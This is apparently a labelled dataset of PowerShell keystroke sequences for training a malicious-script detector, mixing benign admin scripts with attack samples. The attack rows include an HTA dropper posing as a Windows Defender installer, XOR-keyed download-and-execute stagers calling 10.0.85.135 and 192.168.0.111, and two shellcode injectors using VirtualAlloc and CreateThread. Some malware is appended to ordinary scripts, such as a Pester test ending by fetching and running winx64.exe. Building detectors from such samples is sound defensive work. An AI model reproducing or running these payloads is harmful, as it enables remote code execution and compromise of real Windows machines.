{ enter $Payload = ""powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"" enter } enter if($PayloadScript) enter { enter #Logic to read, compress and Base64 encode the payload script. enter $Enc = Get-Content $PayloadScript -Encoding Ascii enter enter #Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html enter $ms = New-Object IO.MemoryStream enter $action = [IO.Compression.CompressionMode]::Compress enter $cs = New-Object IO.Compression.DeflateStream ($ms,$action) enter $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII) enter $Enc | ForEach-Object {$sw.WriteLine($_)} enter $sw.Close() enter enter # Base64 encode stream enter $Compressed = [Convert]::ToBase64String($ms.ToArray()) enter enter $command = ""Invoke-Expression `$(New-Object IO.StreamReader ("" + enter enter ""`$(New-Object IO.Compression.DeflateStream ("" + enter enter ""`$(New-Object IO.MemoryStream (,""+ enter enter ""`$([Convert]::FromBase64String('$Compressed')))), "" + enter enter ""[IO.Compression.CompressionMode]::Decompress)),""+ enter enter "" [Text.Encoding]::ASCII)).ReadToEnd();"" enter enter #Generate Base64 encoded command to use with the powershell -encodedcommand paramter"" enter $UnicodeEncoder = New-Object System.Text.UnicodeEncoding enter $EncScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($command)) enter $Payload = ""powershell.exe -WindowStyle hidden -nologo -noprofile -e $EncScript"" enter } enter enter $HTA = @"" enter <!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Transitional//EN"" ""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd""> enter <html xmlns=""http://www.w3.org/1999/xhtml""> enter <head> enter <meta content=""text/html; charset=utf-8"" http-equiv=""Content-Type"" /> enter <title>Windows Defender Web Install</title> enter enter <script language=""VBScript""> enter set oShell = CreateObject(""Wscript.Shell"") enter oShell.Run(""$Payload""),0,true enter self.close() enter </script> enter <hta:application enter id=""oHTA"" enter applicationname=""Windows Defender Web Install"" enter application=""yes"" enter > enter </hta:application> enter </head> enter <div> enter <object type=""text/html"" data=""http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender"" width=""100%"" height=""100%""> enter </object></div> enter <body> enter </body> enter </html> enter ""@ enter enter Out-File -InputObject $HTA -FilePath $HTAFilepath enter Write-Output ""HTA written to $HTAFilepath."" enter } enter enter",1,1,8.6697095e-05,0.99991333
"win+r powershell enter $powershell = Join-Path -Path $PsHome -ChildPath ""pwsh"" function Wait-JobPid { enter param ( $Job ) $startTime = [DateTime]::Now $TimeoutInMilliseconds = 100 enter 00 enter enter",1,1,0.003628837,0.99637115
"win+r enter powershell enter enter enter New-AzResourceGroup -Name myResourceGroupAG -Location eastus enter $backendSubnetConfig = New-AzVirtualNetworkSubnetConfig ` enter -Name myBackendSubnet ` enter -AddressPrefix 10.0.1.0/24 enter $agSubnetConfig = New-AzVirtualNetworkSubnetConfig ` enter -Name myAGSubnet ` enter -AddressPrefix 10.0.2.0/24 enter $vnet = New-AzVirtualNetwork ` enter -ResourceGroupName myResourceGroupAG ` enter -Location eastus ` enter -Name myVNet ` enter -AddressPrefix 10.0.0.0/16 ` enter -Subnet $backendSubnetConfig, $agSubnetConfig enter $pip = New-AzPublicIpAddress ` enter -ResourceGroupName myResourceGroupAG ` enter -Location eastus ` enter -Name myAGPublicIPAddress ` enter -AllocationMethod Dynamic enter $vnet = Get-AzVirtualNetwork ` enter -ResourceGroupName myResourceGroupAG ` enter -Name myVNet enter $subnet=$vnet.Subnets[0] enter $gipconfig = New-AzApplicationGatewayIPConfiguration ` enter -Name myAGIPConfig ` enter -Subnet $subnet enter $fipconfig = New-AzApplicationGatewayFrontendIPConfig ` enter -Name myAGFrontendIPConfig ` enter -PublicIPAddress $pip enter $frontendport = New-AzApplicationGatewayFrontendPort ` enter -Name myFrontendPort ` enter -Port 80 enter $defaultPool = New-AzApplicationGatewayBackendAddressPool ` enter -Name appGatewayBackendPool enter $poolSettings = New-AzApplicationGatewayBackendHttpSettings ` enter -Name myPoolSettings ` enter -Port 80 ` enter -Protocol Http ` enter -CookieBasedAffinity Enabled ` enter -RequestTimeout 120 enter $defaultlistener = New-AzApplicationGatewayHttpListener ` enter -Name mydefaultListener ` enter -Protocol Http ` enter -FrontendIPConfiguration $fipconfig ` enter -FrontendPort $frontendport enter $frontendRule = New-AzApplicationGatewayRequestRoutingRule ` enter -Name rule1 ` enter -RuleType Basic ` enter -HttpListener $defaultlistener ` enter -BackendAddressPool $defaultPool ` enter -BackendHttpSettings $poolSettings enter $sku = New-AzApplicationGatewaySku ` enter -Name WAF_Medium ` enter -Tier WAF ` enter -Capacity 2 enter $appgw = New-AzApplicationGateway ` enter -Name myAppGateway ` enter -ResourceGroupName myResourceGroupAG ` enter -Location eastus ` enter -BackendAddressPools $defaultPool ` enter -BackendHttpSettingsCollection $poolSettings ` enter -FrontendIpConfigurations $fipconfig ` enter -GatewayIpConfigurations $gipconfig ` enter -FrontendPorts $frontendport ` enter -HttpListeners $defaultlistener ` enter -RequestRoutingRules $frontendRule ` enter -Sku $sku enter $vnet = Get-AzVirtualNetwork ` enter -ResourceGroupName myResourceGroupAG ` enter -Name myVNet enter $appgw = Get-AzApplicationGateway ` enter -ResourceGroupName myResourceGroupAG ` enter -Name myAppGateway enter $backendPool = Get-AzApplicationGatewayBackendAddressPool ` enter -Name appGatewayBackendPool ` enter -ApplicationGateway $appgw enter $ipConfig = New-AzVmssIpConfig ` enter -Name myVmssIPConfig ` enter -SubnetId $vnet.Subnets[1].Id ` enter -ApplicationGatewayBackendAddressPoolsId $backendPool.Id enter $vmssConfig = New-AzVmssConfig ` enter -Location eastus ` enter -SkuCapacity 2 ` enter -SkuName Standard_DS2 ` enter -UpgradePolicyMode Automatic enter Set-AzVmssStorageProfile $vmssConfig ` enter -ImageReferencePublisher MicrosoftWindowsServer ` enter -ImageReferenceOffer WindowsServer ` enter -ImageReferenceSku 2016-Datacenter ` enter -ImageReferenceVersion latest enter Set-AzVmssOsProfile $vmssConfig ` enter -AdminUsername azureuser ` enter -AdminPassword ""Azure123456!"" ` enter -ComputerNamePrefix myvmss enter Add-AzVmssNetworkInterfaceConfiguration ` enter -VirtualMachineScaleSet $vmssConfig ` enter -Name myVmssNetConfig ` enter -Primary $true ` enter -IPConfiguration $ipConfig enter New-AzVmss ` enter -ResourceGroupName myResourceGroupAG ` enter -Name myvmss ` enter -VirtualMachineScaleSet $vmssConfig enter $publicSettings = @{ ""fileUris"" = (,""https://raw.githubusercontent.com/davidmu1/samplescripts/master/appgatewayurl.ps1""); enter ""commandToExecute"" = ""powershell -ExecutionPolicy Unrestricted -File appgatewayurl.ps1"" } enter $vmss = Get-AzVmss -ResourceGroupName myResourceGroupAG -VMScaleSetName myvmss enter Add-AzVmssExtension -VirtualMachineScaleSet $vmss ` enter -Name ""customScript"" ` enter -Publisher ""Microsoft.Compute"" ` enter -Type ""CustomScriptExtension"" ` enter -TypeHandlerVersion 1.8 ` enter -Setting $publicSettings enter Update-AzVmss ` enter -ResourceGroupName myResourceGroupAG ` enter -Name myvmss ` enter -VirtualMachineScaleSet $vmss enter Get-AzPublicIPAddress -ResourceGroupName myResourceGroupAG -Name myAGPublicIPAddress enter enter $wc=NeW-ObjECT SysTeM.NEt.WEbCLIEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HeaDERs.ADd('User-Agent',$u);$WC.ProXy = [SySteM.NET.WebReqUEST]::DefAuLtWebPRoxY;$WC.PrOXy.CREdENTIals = [System.Net.CredeNTiAlCacHe]::DefAUltNEtwOrKCRedEnTiALS;$K='4D>`]7XLkteWAwo^mx_PTv3{a2MG)?zZ';$i=0;[cHaR[]]$b=([char[]]($Wc.DOWnLOadStrinG(""https://10.0.85.135:53/index.asp"")))|%{$_-bXOr$k[$I++%$k.LEnGtH]};IEX ($b-Join'') enter enter",1,1,5.525421e-05,0.9999447
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install vim enter A enter enter enter,0,0,0.9999598,4.0154115e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x15,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
"win+r enter powershell enter enter enter if(-not([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator"")) enter { enter $Arguments = ""& '"" + $MyInvocation.MyCommand.Definition + ""'"" enter Start-Process PowerShell.exe -Verb RunAs -ArgumentList $Arguments enter Break enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc6,0xce,0x85,0x87,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1235853e-05,0.99994874
"win+r enter powershell enter enter enter $chocolateyInstall = Join-Path -Path $PSScriptRoot -ChildPath '.. tab ools\chocolateyInstall.ps1' -Resolve enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter $destinationDir = Join-Path -Path (Get-PowerShellModuleInstallPath) -ChildPath 'Carbon' enter $installCarbonJunction = $false enter $installCarbonJunction = (Test-PathIsJunction -Path $destinationDir) enter enter function Init enter { enter if( (Test-PathIsJunction -Path $destinationDir) ) enter { enter Uninstall-Junction -Path $destinationDir enter } enter elseif( (Test-Path -Path $destinationDir -PathType Container) ) enter { enter Remove-Item -Path $destinationDir -Recurse -Force enter } enter } enter enter Describe 'chocolateyInstall' { enter BeforeEach { enter Init enter } enter enter AfterEach { enter Init enter } enter enter It 'should copy into module install directory' { enter $destinationDir | Should -Not -Exist enter & $chocolateyInstall enter $destinationDir | Should -Exist enter $sourceCount = (Get-ChildItem $destinationDir -Recurse | Measure-Object).Count enter $destinationCount = (Get-ChildItem -Path (Join-Path -Path $PSScriptRoot -ChildPath '..\Carbon') -Recurse | Measure-Object).Count enter $destinationCount | Should -Be $sourceCount enter } enter enter It 'should remove what is there' { enter New-Item -Path $destinationDir -ItemType 'Directory' enter $deletedRecurseFilePath = Join-Path -Path $destinationDir -ChildPath 'should\deleteme.txt' enter $deletedRootFilePath = Join-Path -Path $destinationDir -ChildPath 'deleteme.txt' enter New-Item -Path $deletedRecurseFilePath -ItemType 'File' -Force enter New-Item -Path $deletedRootFilePath -ItemType 'File' -Force enter enter $deletedRootFilePath | Should -Exist enter $deletedRecurseFilePath | Should -Exist enter enter & $chocolateyInstall enter enter $deletedRootFilePath | Should -Not -Exist enter $deletedRecurseFilePath | Should -Not -Exist enter } enter enter It 'should handle module in use' { enter & $chocolateyInstall enter enter $markerFile = Join-Path -Path $destinationDir -ChildPath 'shouldnotgetdeleted' enter New-Item -Path $markerFile -ItemType 'file' enter $markerFile | Should -Exist enter enter $carbonFullClrDllPath = Join-Path -Path $destinationDir -ChildPath 'bin\fullclr\Carbon.dll' -Resolve enter $carbonCoreClrDllPath = Join-Path -Path $destinationDir -ChildPath 'bin\coreclr\Carbon.dll' -Resolve enter enter $preCount = Get-ChildItem -Path $destinationDir -Recurse | Measure-Object | Select-Object -ExpandProperty 'Count' enter enter $fullClrFile = [IO.File]::Open($carbonFullClrDllPath, 'Open', 'Read', 'Read') enter $coreClrFile = [IO.File]::Open($carbonCoreClrDllPath, 'Open', 'Read', 'Read') enter try enter { enter & $chocolateyInstall enter } enter catch enter { enter } enter finally enter { enter $fullClrFile.Close() enter $coreClrFile.Close() enter } enter $Global:Error.Count | Should -BeGreaterThan 0 enter $Global:Error[0] | Should -Match 'Access to the path .* denied' enter $markerFile | Should -Exist enter enter $postCount = Get-ChildItem -Path $destinationDir -Recurse | Measure-Object | Select-Object -ExpandProperty 'Count' enter $postCount | Should -Be $preCount enter } enter enter } enter enter Init enter if( $installCarbonJunction ) enter { enter Install-Junction -Link $destinationDir -Target (Join-Path -Path $PSScriptRoot -ChildPath '..\Carbon' -Resolve) enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx64.exe',""$env:APPDATA\winx64.exe"");Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,5.6522185e-05,0.9999435
win+r powershell enter  [CmdletBinding()] param ( [string]$BIOSPassword = $null ) function Get-Archi enter tecture { [CmdletBinding()][OutputType([string])] param () enter enter,0,1,0.0028859507,0.99711406
"powershell "" [sTriNG]::joiN( '', ( '10v36L99-32-61J32y39L91q68!108J108q73q109X11 enter 2J111y114J116v40v34-107o101y114y110y101X108!51L50o46J100u108y108!34!41J93-112!11 enter 7v98J108J105o99o32J115-116o97-116q105u99y32q101u120-116v101L114J110q32q73J110v11 enter 6y80y116-114v32v86v105X114u116X117X97v108!65u108o108u111L99q40v73-110!116q80y116 enter J114y32o108J112!65J100q100y114q101u115!115X44y32J117!105u110X116X32J100y119L83J1 enter 05q122-101u44J32-117o105u110!116X32q102u108X65o108q108y111-99-97y116X105v111u110 enter -84q121!112J101J44!32y117X105X110o116J32L102J108v80!114v111v116y101L99v116o41v59 enter u91v68J108X108L73o109-112y111L114X116J40y34J107!101q114L110-101y108q51v50u46o100 enter o108X108u34v41-93o112X117u98X108-105o99y32L115-116o97q116u105u99L32X101o120J116o enter 101q114u110X32q73y110q116!80J116!114o32J67-114u101J97X116u101!84q104-114!101v97q enter 100y40L73!110y116u80q116X114!32-108v112J84L104v114-101u97u100u65u116X116!114-105 enter !98y117y116L101u115- enter",1,1,6.059868e-05,0.99993944
"win+r enter powershell enter enter enter  enter $SESSION_RG = ""flowrg"" enter $SESSION_IA = ""PS-Tests-Sessions"" enter $AGREEMENT_X12_Name = ""PS-X12-Agreement"" enter $AGREEMENT_Edifact_Name = ""PS-Edifact-Agreement"" enter function Test-GetReceivedIcn() enter { enter $resultNoType = Get-AzIntegrationAccountReceivedIcn -ResourceGroupName $SESSION_RG -Name $SESSION_IA -AgreementName $AGREEMENT_X12_Name -ControlNumber ""1234"" enter Assert-AreEqual ""1234"" $resultNoType.ControlNumber enter Assert-AreEqual ""X12"" $resultNoType.MessageType enter enter $resultX12 = Get-AzIntegrationAccountReceivedIcn -ResourceGroupName $SESSION_RG -Name $SESSION_IA -AgreementName $AGREEMENT_X12_Name -AgreementType ""X12"" -ControlNumber ""1234"" enter Assert-AreEqual ""1234"" $resultX12.ControlNumber enter Assert-AreEqual ""X12"" $resultX12.MessageType enter enter $resultEdifact = Get-AzIntegrationAccountReceivedIcn -ResourceGroupName $SESSION_RG -Name $SESSION_IA -AgreementName $AGREEMENT_Edifact_Name -AgreementType ""Edifact"" -ControlNumber ""1234"" enter Assert-AreEqual ""1234"" $resultEdifact.ControlNumber enter Assert-AreEqual ""Edifact"" $resultEdifact.MessageType enter } enter function Test-UpdateReceivedIcn() enter { enter $updatedControlNumber = Set-AzIntegrationAccountReceivedIcn -AgreementType ""X12"" -ResourceGroupName $SESSION_RG -Name $SESSION_IA -AgreementName $AGREEMENT_X12_Name -ControlNumber ""1234"" -IsMessageProcessingFailed $FALSE enter Assert-AreEqual ""1234"" $updatedControlNumber.ControlNumber enter Assert-False { $updatedControlNumber.IsMessageProcessingFailed } enter enter $updatedControlNumber = Set-AzIntegrationAccountReceivedIcn -AgreementType ""X12"" -ResourceGroupName $SESSION_RG -Name $SESSION_IA -AgreementName $AGREEMENT_X12_Name -ControlNumber ""1234"" -IsMessageProcessingFailed $TRUE enter Assert-AreEqual ""1234"" $updatedControlNumber.ControlNumber enter Assert-True { $updatedControlNumber.IsMessageProcessingFailed } enter } enter [SYstEM.NEt.SErViCEPOiNTMANAgER]::ExPecT100COntinUE = 0;$Wc=New-ObjeCt SysteM.NeT.WeBCLIeNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HEAdeRs.ADd('User-Agent',$u);$Wc.PROxY = [SyStEm.NeT.WEBREQUeST]::DEFaUlTWEbPrOxY;$wC.PRoxY.CrEDeNtiAlS = [SysTem.NEt.CRedeNtiAlCAcHE]::DefAulTNETWORkCrEDEntIals;$K='8853bb10b83b5d276cfcf13a03100665';$i=0;[CHAR[]]$B=([Char[]]($Wc.DoWNloADStRinG(""http://192.168.0.111:8080/index.asp"")))|%{$_-bXor$k[$I++%$K.LeNgth]};IEX ($B-JOin'') enter enter",1,1,5.567396e-05,0.9999443
"win+r enter powershell enter enter enter $resourceGroupName = ""<Azure resource group name>"" enter $dataFactoryName = ""<Data factory name>"" enter $dataFactoryRegion = ""East US"" enter $storageAccountName = ""<Az.Storage account name>"" enter $storageAccountKey = ""<Az.Storage account key>"" enter $sourceBlobPath = ""<Azure blob container name>/<Azure blob input folder name>"" enter $sinkBlobPath = ""<Azure blob container name>/<Azure blob output folder name>"" enter $pipelineName = ""CopyPipeline"" enter New-AzResourceGroup -Name $resourceGroupName -Location $dataFactoryRegion enter $df = Set-AzDataFactory -ResourceGroupName $resourceGroupName -Location $dataFactoryRegion -Name $dataFactoryName enter $storageLinkedServiceDefinition = @"" enter { enter ""name"": ""AzureStorageLinkedService"", enter ""properties"": { enter ""type"": ""AzureStorage"", enter ""typeProperties"": { enter ""connectionString"": { enter ""value"": ""DefaultEndpointsProtocol=https;AccountName=$storageAccountName;AccountKey=$storageAccountKey"", enter ""type"": ""SecureString"" enter } enter } enter } enter } enter ""@ enter $storageLinkedServiceDefinition | Out-File c:\StorageLinkedService.json enter Set-AzDataFactoryLinkedService -DataFactoryName $dataFactoryName -ResourceGroupName $resourceGroupName -Name ""AzureStorageLinkedService"" -File c:\StorageLinkedService.json enter $datasetDefiniton = @"" enter { enter ""name"": ""BlobDataset"", enter ""properties"": { enter ""type"": ""AzureBlob"", enter ""typeProperties"": { enter ""folderPath"": { enter ""value"": ""@{dataset().path}"", enter ""type"": ""Expression"" enter } enter }, enter ""linkedServiceName"": { enter ""referenceName"": ""AzureStorageLinkedService"", enter ""type"": ""LinkedServiceReference"" enter }, enter ""parameters"": { enter ""path"": { enter ""type"": ""String"" enter } enter } enter } enter } enter ""@ enter $datasetDefiniton | Out-File c:\BlobDataset.json enter Set-AzDataFactoryDataset -DataFactoryName $dataFactoryName -ResourceGroupName $resourceGroupName -Name ""BlobDataset"" -File ""c:\BlobDataset.json"" enter $pipelineDefinition = @"" enter { enter ""name"": ""$pipelineName"", enter ""properties"": { enter ""activities"": [ enter { enter ""name"": ""CopyFromBlobToBlob"", enter ""type"": ""Copy"", enter ""inputs"": [ enter { enter ""referenceName"": ""BlobDataset"", enter ""parameters"": { enter ""path"": ""@pipeline().parameters.inputPath"" enter }, enter ""type"": ""DatasetReference"" enter } enter ], enter ""outputs"": [ enter { enter ""referenceName"": ""BlobDataset"", enter ""parameters"": { enter ""path"": ""@pipeline().parameters.outputPath"" enter }, enter ""type"": ""DatasetReference"" enter } enter ], enter ""typeProperties"": { enter ""source"": { enter ""type"": ""BlobSource"" enter }, enter ""sink"": { enter ""type"": ""BlobSink"" enter } enter } enter } enter ], enter ""parameters"": { enter ""inputPath"": { enter ""type"": ""String"" enter }, enter ""outputPath"": { enter ""type"": ""String"" enter } enter } enter } enter } enter ""@ enter $pipelineDefinition | Out-File c:\CopyPipeline.json enter Set-AzDataFactoryPipeline -DataFactoryName $dataFactoryName -ResourceGroupName $resourceGroupName -Name $pipelineName -File ""c:\CopyPipeline.json"" enter $pipelineParameters = @"" enter { enter ""inputPath"": ""$sourceBlobPath"", enter ""outputPath"": ""$sinkBlobPath"" enter } enter ""@ enter $pipelineParameters | Out-File c:\PipelineParameters.json enter $runId = Invoke-AzDataFactoryPipeline -DataFactoryName $dataFactoryName -ResourceGroupName $resourceGroupName -PipelineName $pipelineName -ParameterFile c:\PipelineParameters.json enter while ($True) { enter $result = Get-AzDataFactoryActivityRun -DataFactoryName $dataFactoryName -ResourceGroupName $resourceGroupName -PipelineRunId $runId -RunStartedAfter (Get-Date).AddMinutes(-30) -RunStartedBefore (Get-Date).AddMinutes(30) enter enter if (($result | Where-Object { $_.Status -eq ""InProgress"" } | Measure-Object).count -ne 0) { enter Write-Host ""Pipeline run status: In Progress"" -foregroundcolor ""Yellow"" enter Start-Sleep -Seconds 30 enter } enter else { enter Write-Host ""Pipeline '$pipelineName' run finished. Result:"" -foregroundcolor ""Yellow"" enter $result enter break enter } enter } enter $result = Get-AzDataFactoryActivityRun -DataFactoryName $dataFactoryName -ResourceGroupName $resourceGroupName ` enter -PipelineRunId $runId ` enter -RunStartedAfter (Get-Date).AddMinutes(-10) ` enter -RunStartedBefore (Get-Date).AddMinutes(10) ` enter -ErrorAction Stop enter enter $result enter enter if ($result.Status -eq ""Succeeded"") {` enter $result.Output -join ""`r`n""` enter }` enter else {` enter $result.Error -join ""`r`n""` enter } enter enter",0,0,0.99991393,8.600975e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_ry40khid"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.370683e-05
"win+r powershell enter function Get-SCSMWorkItemAffectedUser { [CmdletBinding(DefaultParameterSetNam enter e = 'GUID')] param ( [Parameter(ParameterSetName = 'SMObject', Mandatory = $ enter true, ValueFromPipeline = $true)] $SMObject, [Parameter(ParameterSetName = ' enter GUID', enter enter",1,1,0.005060625,0.9949393
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_ow4aty8l"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 